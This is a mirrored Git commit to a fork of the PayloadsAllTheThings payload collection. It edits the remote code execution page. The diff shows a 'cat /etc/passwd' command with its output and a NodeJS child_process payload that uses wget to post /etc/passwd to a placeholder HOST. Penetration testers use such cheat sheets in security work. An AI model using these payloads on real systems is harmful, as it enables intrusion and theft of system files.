mirror of
https://github.com/weyne85/PayloadsAllTheThings.git
synced 2025-10-29 16:57:02 +00:00
Updated XSS,SQL,RCE
This commit is contained in:
@@ -3,7 +3,7 @@ Remote code execution is a security vulnerability that allows an attacker to exe
|
||||
|
||||
|
||||
## Exploits
|
||||
Normal code execution
|
||||
Normal code execution, execute the command and voila :p
|
||||
```
|
||||
cat /etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
@@ -37,7 +37,7 @@ daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
|
||||
NodeJS Code execution
|
||||
```
|
||||
require('child_process').exec('wget+--post-data+"x=$(cat+/etc/passwd)"+HOST')
|
||||
require('child_process').exec('wget --post-data+"x=$(cat /etc/passwd)"+HOST')
|
||||
```
|
||||
|
||||
## Thanks to
|
||||
|
||||
Reference in New Issue
Block a user